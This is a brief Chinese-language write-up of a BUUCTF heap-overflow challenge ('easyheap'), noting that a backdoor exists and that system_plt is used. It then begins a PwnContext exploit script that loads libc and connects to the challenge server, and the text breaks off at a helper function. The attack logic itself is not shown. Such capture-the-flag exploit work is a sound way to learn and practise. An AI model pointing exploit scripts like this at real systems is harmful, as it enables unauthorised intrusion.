常规堆溢出题,存在后门。但是buuctf没有复现环境。所有就用system_plt了。
# -*- coding: utf-8 -*-
from PwnContext.core import *
binary = './easyheap'
debug_libc = './libc-2.23.so'
elf = ELF(binary)
libc = ELF(debug_libc)
local = 1
if local == 1 :
sh = remote("node3.buuoj.cn","27379")
else:
ctx.binary = binary
ctx.remote_libc = debug_libc
ctx.debug_remote_libc = True
sh = ctx.start()
def edit(idx,